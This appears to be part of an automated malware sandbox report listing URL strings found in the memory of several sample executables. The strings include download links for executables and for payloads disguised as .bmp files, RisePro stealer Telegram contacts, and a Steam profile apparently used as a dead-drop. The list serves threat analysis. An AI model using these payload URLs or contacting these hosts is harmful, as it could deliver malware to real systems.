Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer:80/dll/builddoc.exe
Source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exexe
Source: BI6oo9z4In.exe, 00000000.00000003.1747368845.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745625501.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742705316.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1755961326.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1754428044.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737273041.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748866235.0000000002B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com:80/ssl/crt.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1754428044.0000000002B7E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe/th
Source: BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeB
Source: BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe_f9gemssdAs7w06vZwlL.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exej
Source: BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exer
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exeM
Source: HXqqC3YwnKDsi7zeJNheTOoZ.exe, 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899
Source: BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_q
Source: BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-23.userapi.com/c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwK
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.microsoft.
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.microsoft..
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2219794386.000000002957D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2219794386.000000002957D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2083898235.000000000564B000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2087459029.00000000061CF000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2059624564.0000000001AE2000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2295540149.00000000058D0000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291703800.00000000058AC000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2001687390.000000002335D000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000549000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000549000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2083898235.000000000564B000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2087459029.00000000061CF000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2059624564.0000000001AE2000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2295540149.00000000058D0000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291703800.00000000058AC000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2001687390.000000002335D000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000549000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000549000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://system.data.sqlite.org/
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217900241.00000000061BC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.000000000197E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.000000000197E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT/
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2429616383.0000000005863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTv
Source: HXqqC3YwnKDsi7zeJNheTOoZ.exe, 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/copterwin
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.00000000010E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot.46.123.175
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot0
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot9
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botC
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botriseproMeQy
Source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2293231915.0000028B35390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thridparty.nservices.org/api/browser/GetScript?id=$
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/browser_reports?dest=default_reports
Source: BI6oo9z4In.exe, 00000000.00000003.1794244261.00000000044B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5
Source: BI6oo9z4In.exe, 00000000.00000003.1794244261.00000000044B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72
Source: BI6oo9z4In.exe, 00000000.00000003.1794244261.00000000044B5000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXn
